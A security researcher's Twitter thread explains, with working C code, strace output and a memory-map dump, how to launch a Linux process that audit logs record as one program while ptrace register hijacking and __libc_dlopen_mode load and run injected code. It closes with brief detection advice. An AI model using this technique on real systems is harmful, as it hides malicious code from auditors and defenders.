Twitter Thread by David Kaplan

David Kaplan
@depletionmode

Linux code injection paint-by-numbers.

Can we launch a process that looks one way to (superficial) auditors but is, in fact, entirely different? (Think process hollowing and the like on Windows).

Firstly, how are processes created and what does related auditing look like?

The most common pattern is fork() → execve(). Where the fork() syscall create a duplicate of the running process context and execve() overlays a copy of the target program onto that context.

After calling fork(), we'll have two processes, the original one and a new - duplicated - one (with a new pid).

Control will return from fork() to both process instances. In the child process, the return value will simply by 0, in the parent it will hold the pid of the child.

Thus we can determine whether we are running in the child context and call execv() accordingly, while allowing the parent to continue.

```
if ((pid = fork()) == 0)
{
  // target
  execv(target_path, av + 1);

  // control cannot reach here unless execv() fails
}

// parent control continues here
```

Now, let's take a look at where the auditing hooks lie. From calling execve(), we'll eventually land up in exec_binrpm().

Without delving too deeply, this function resolves the interpreter handler for the target we're trying to execute. (Here we're executing an ELF binary, so we'll get the relevant ELF handler). But that is a topic for another day.

Prior to exec_binrpm() returning, audit hooks will be called.

```
		}

		audit_bprm(bprm);
		trace_sched_process_exec(current, old_pid, bprm);
		ptrace_event(PTRACE_EVENT_EXEC, old_vpid);
		proc_exec_connector(current);
		return 0;
	}
```

In our scenario, we *want* these hooks to be called so the original target executable is identified, but we don't want the target to actually execute.

On Windows, all processes are created suspended; CreateProcess could be called with the CREATE_SUSPENDED flag in order to instruct Kernel32.dll not to get the kernel to resume the target after process setup.

On Linux, process execution will continue immediately after execv() so we must do something different. We can use ptrace() to control execution of the child target.

This is set up by first instructing the kernel from the child context that it wants to be traced (PTRACE_TRACEME) and then instructing the parent process to wait on the first trap.

By default, this will happen on exit of the execve() syscall.

```
if ((pid = fork()) == 0)
{
    // target
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    execv(target_path, av + 1);

    // control cannot reach here unless execv() fails
}

// allow the execve() syscall to execute
waitpid(pid, 0, 0);
```

Now that we have a form of suspended process creation, we need to decide what to do with it.

The options here are numerous. In this example, we want to chose a strategy that doesn't require us doing any image/reloc fix-up foo.

We can use dlopen() to do all the heavy lifting.

The first issue is that we have suspended execution in a state prior to libc being mapped in and made available to the target process. As (almost?) all dynamically linked processes will require libc, we can let this happen naturally by letting the target run until this is done.

It is important to ensure that (1) the execution progresses to a point where libc is mapped and (2) the process is in a state where we can safely hijack execution flow, but (3) is prior to actual target execution (+ generic enough to support various targets).

I initially tried trapping target execution after libc is mapped (executing until relevant close()).

```
[pid 1185141] openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOE
[pid 1185141] read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\215\2\0
[pid 1185141] pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0
[pid 1185141] pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\
[pid 1185141] pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0~\303\347M\250B\312<j\233
[pid 1185141] fstat(3, {st_mode=S_IFREG|0755, st_size=1995896, ...}) = 0
[pid 1185141] pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0
[pid 1185141] mmap(NULL, 2004064, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0
[pid 1185141] mprotect(0x7fb411e87000, 1810432, PROT_NONE) = 0
[pid 1185141] mmap(0x7fb411e87000, 1495040, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_
[pid 1185141] mmap(0x7fb411ff4000, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_D
[pid 1185141] mmap(0x7fb412041000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_F
[pid 1185141] mmap(0x7fb412047000, 13408, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_F
[pid 1185141] close(3)                      = 0
```

Naturally this failed as the process was not yet sufficiently set up to support stable execution (for e.g. stack sentinel storage via mov   rax,QWORD PTR fs:0x28 in the function prologue would fail; fs is not yet sane).

To achieve a state where (1), (2), and (3) are all honoured, we can trap a little further down. I chose to target brk().

```c
// trap after the second brk(); libc will be mapped at this point and the
// process will be ready for execution
for (;;)
{
    static int syscall_entry = 0;

    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
    waitpid(pid, 0, 0);

    syscall_entry ^= 1;

    ptrace(PTRACE_GETREGS, pid, 0, &regs);
    int syscall_no = regs.orig_rax;

#define __NR_brk 12

    static int brk_cnt = 0;

    if (syscall_no == __NR_brk && syscall_entry == 0 && ++brk_cnt == 2)
    {
        break;
    }
}
```

To recap:

We’ve created a child process and halted execution prior to anything too process-specific having been run but after basic setup has taken place.

Now we need to get inject our code.

As mentioned earlier, the plan is to use bog-standard dlopen() to get the code staged in the target.
But how to locate dlopen()?

A cursory glance shows that dlopen() is exported by libdl. But alas this library is not loaded in our process address space.

```
→ nm -D /usr/lib/x86_64-linux-gnu/libdl.so | grep dlopen
0000000000001390 T dlopen@@GLIBC_2.2.5
```

Ultimately, however, __libc_dlopen_mode() is the underlying libc function that will do the work and that is available to us.

```
→ nm -D /usr/lib/x86_64-linux-gnu/libc-2.32.so | grep dlopen
00000000001598a0 T __libc_dlopen_mode@@GLIBC_PRIVATE
```

First, we’re going to need to get the offset of the __libc_dlopen_mode() function within libc.

The easiest way I could think of, of doing this programmatically was simply to use the dynamic linker within the parent process context + calculating the offset from the loaded library address.

dlopen(libc) → dlsym(__libc_dlopen_mode)

```
103
off_t get_fcn_offset(char* lib_path, char* fcn_name)
{
  // to discover a shared library function offset, we simply use the dynamic
  // linker in the parent process context

  struct link_map *lm;
  off_t offset = 0;

  if ((lm = dlopen(lib_path, RTLD_LAZY)) != 0)
  {
    uint64_t fcn_addr = (uint64_t)dlsym(lm, fcn_name);
    offset = fcn_addr - lm->l_addr;
    dlclose(lm);
  }

  return offset;
}
```

The library address can be obtained from the link_map structure returned by dlopen().

A caveat to keep in mind here is that taking the fcn_addr - lm->l_addr yields an offset which includes the difference between the address in the ELF binary and where address where it was loaded in memory.

We will account for this offset skew shortly.

Next, we'll obtain the address of the libc instance that is mapped in our target process.

Procfs exposes mapping info in /proc//maps. We can look up the mapped address of the executable section of libc, accounting for the offset of the in-memory address of the mapped ELF and calculate a final value for __libc_dlopen_mode() in the target.

My implementation of this bit is, regrettably, quick & dirty.

```c
uint64_t get_lib_addr(char *path_fragment, pid_t pid)
{
  // parse out /proc/<pid>/maps and match first image path fragment
  uint64_t lib_addr = 0;

  char procmaps_path[256] = { 0 };
  snprintf(procmaps_path, sizeof(procmaps_path) - 1, "/proc/%d/maps", pid);

  char buf[1024], buf2[512], buf3[64];

  FILE* f = fopen(procmaps_path, "r");
  while (fgets(buf, sizeof(buf), f) != NULL) {
    // match path fragment
    if (strstr(buf, path_fragment) == NULL) {
      continue;
    }

    // match r-x region
    if (strstr(buf, "r-xp") == NULL) {
      continue;
    }

    char region_base[256], offset[64];

    int idx = 0;
    char *token = strtok(buf, " ");
    do
    {
      if (idx == 0) {
        // parse out mapped region base
        strcpy(buf2, token);

      } else if (idx == 2) {
        // parse out offset
        sprintf(offset, "0x%s", token);
      }

      idx++;
    } while ((token = strtok(NULL, " ")) != NULL);

    sprintf(region_base, "0x%s", strtok(buf2, "-"));
    lib_addr = strtoul(region_base, 0, 0) - strtoul(offset, 0, 0);

    break;
  }
  fclose(f);

  return lib_addr;
}
```

Finally, we need to set the necessary arguments for __libc_dlopen_mode() and call the function within the target process context.

Remembering that we don’t care to continue with the original target flow at any point, we can hijack execution by pointing rip to the address of __libcdl_open_mode() that we just calculated.

The function signature for __libcdl_open_mode() matches that of dlopen() - with the addition of an explicit *dl_caller which I just set to NULL.

x86_64 calling convention dictates that we’ll be using registers rdi (library path), rsi (mode), rdx (dl caller).

```
// stage fcn params in rdi (image_path_addr), rsi (RTLD_LAZY), rdx (NULL)
// hijack rip to _dlopen()
regs.rdi = image_path_addr;
regs.rsi = RTLD_LAZY;
regs.rdx = NULL;
regs.rip = (uint64_t)_dlopen;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
```

rdi holds a pointer to the library path. We need somewhere writeable to put it.

The easy choice here is just to dump it somewhere on the stack (we’re not interested in a sane return from __libc_dlopen_mode() after all).

```
// write our image path to somewhere on the stack
uint64_t image_path_addr = regs.rsp;
_mem_write_buf(pid, image_path_addr, source_path, strlen(source_path));
```

Everything is now set up. Releasing target execution will result in our code being loaded into the target address space via __libc_dlopen_mode().

```
→ cat /proc/1332710/maps
559bcca4a000-559bcca77000 r--p 00000000 fd:01 262777                     /usr/bin/bash
559bcca77000-559bccb28000 r-xp 0002d000 fd:01 262777                     /usr/bin/bash
559bccb28000-559bccb5f000 r--p 000de000 fd:01 262777                     /usr/bin/bash
559bccb5f000-559bccb63000 r--p 00114000 fd:01 262777                     /usr/bin/bash
559bccb63000-559bccb6c000 rw-p 00118000 fd:01 262777                     /usr/bin/bash
559bccb6c000-559bccb76000 rw-p 00000000 00:00 0
559bcd60c000-559bcd62d000 rw-p 00000000 00:00 0                          [heap]
7f2b6f8b4000-7f2b6f8b7000 rw-p 00000000 00:00 0
7f2b6f8b7000-7f2b6f8dd000 r--p 00000000 fd:01 921151                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f2b6f8dd000-7f2b6fa4a000 r-xp 00026000 fd:01 921151                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f2b6fa4a000-7f2b6fa96000 r--p 00193000 fd:01 921151                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f2b6fa96000-7f2b6fa97000 ---p 001df000 fd:01 921151                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f2b6fa97000-7f2b6fa9a000 r--p 001df000 fd:01 921151                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f2b6fa9a000-7f2b6fa9d000 rw-p 001e2000 fd:01 921151                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f2b6fa9d000-7f2b6faa1000 rw-p 00000000 00:00 0
7f2b6faa1000-7f2b6faa2000 r--p 00000000 fd:01 921160                     /usr/lib/x86_64-linux-gnu/libdl-2.32.so
7f2b6faa2000-7f2b6faa4000 r-xp 00001000 fd:01 921160                     /usr/lib/x86_64-linux-gnu/libdl-2.32.so
7f2b6faa4000-7f2b6faa5000 r--p 00003000 fd:01 921160                     /usr/lib/x86_64-linux-gnu/libdl-2.32.so
7f2b6faa5000-7f2b6faa6000 r--p 00003000 fd:01 921160                     /usr/lib/x86_64-linux-gnu/libdl-2.32.so
7f2b6faa6000-7f2b6faa7000 rw-p 00004000 fd:01 921160                     /usr/lib/x86_64-linux-gnu/libdl-2.32.so
7f2b6faa7000-7f2b6fab5000 r--p 00000000 fd:01 920753                     /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
7f2b6fab5000-7f2b6fac4000 r-xp 0000e000 fd:01 920753                     /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
7f2b6fac4000-7f2b6fad2000 r--p 0001d000 fd:01 920753                     /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
7f2b6fad2000-7f2b6fad6000 r--p 0002a000 fd:01 920753                     /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
7f2b6fad6000-7f2b6fad7000 rw-p 0002e000 fd:01 920753                     /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
7f2b6fad7000-7f2b6fad9000 rw-p 00000000 00:00 0
7f2b6fafc000-7f2b6fafd000 r--p 00000000 fd:01 2668700                    /home/depmod/source-fast/research/code-injection/test.so
7f2b6fafd000-7f2b6fafe000 r-xp 00001000 fd:01 2668700                    /home/depmod/source-fast/research/code-injection/test.so
7f2b6fafe000-7f2b6faff000 r--p 00002000 fd:01 2668700                    /home/depmod/source-fast/research/code-injection/test.so
7f2b6faff000-7f2b6fb00000 r--p 00002000 fd:01 2668700                    /home/depmod/source-fast/research/code-injection/test.so
7f2b6fb00000-7f2b6fb01000 rw-p 00003000 fd:01 2668700                    /home/depmod/source-fast/research/code-injection/test.so
7f2b6fb01000-7f2b6fb02000 r--p 00000000 fd:01 920656                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f2b6fb02000-7f2b6fb26000 r-xp 00001000 fd:01 920656                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f2b6fb26000-7f2b6fb2f000 r--p 00025000 fd:01 920656                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f2b6fb2f000-7f2b6fb30000 r--p 0002d000 fd:01 920656                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f2b6fb30000-7f2b6fb32000 rw-p 0002e000 fd:01 920656                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7ffda2bff000-7ffda2c21000 rw-p 00000000 00:00 0                          [stack]
7ffda2c4c000-7ffda2c50000 r--p 00000000 00:00 0                          [vvar]
7ffda2c50000-7ffda2c52000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
```

At some point, something will break in the target application (remember, we have hijacked rip and corrupted the stack).

This is a great outcome as it'll trap back into the parent process and allow us to redirect control to our injected code.

(I did initially mess around with getting better control over the return from libc but honestly it didn't seem worth the bother.)

Calling our injected code is as simple as pointing rip at it and resuming execution. (We discover its loaded address in the very same way that we discovered that of __libc_dlopen_mode() previously.)

```
// locate the main() function of our injected image and redirect control
uint64_t _main = get_lib_addr(basename(source_path), pid) + get_fcn_offset(source_path, "main");
regs.rip = _main;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

// release
ptrace(PTRACE_CONT, pid, 0, 0);
ptrace(PTRACE_DETACH, pid, 0, 0);
```

Finally we can detach the parent process.

And we're done.

```
➜ ./inject ./test.so /bin/bash "echo BASH WILL NEVER RUN"
INJECTED CODE
/proc/self/cmdline: /bin/bash echo BASH WILL NEVER RUN %
```

Now in terms of forensics:

Auditing ptrace() is the obvious go-to for real-time process injection determination

Beyond that; process memory space anomalies (in this example, the injected code will appear as a mapped image) + the usual gamut of behavioural analysis opportunities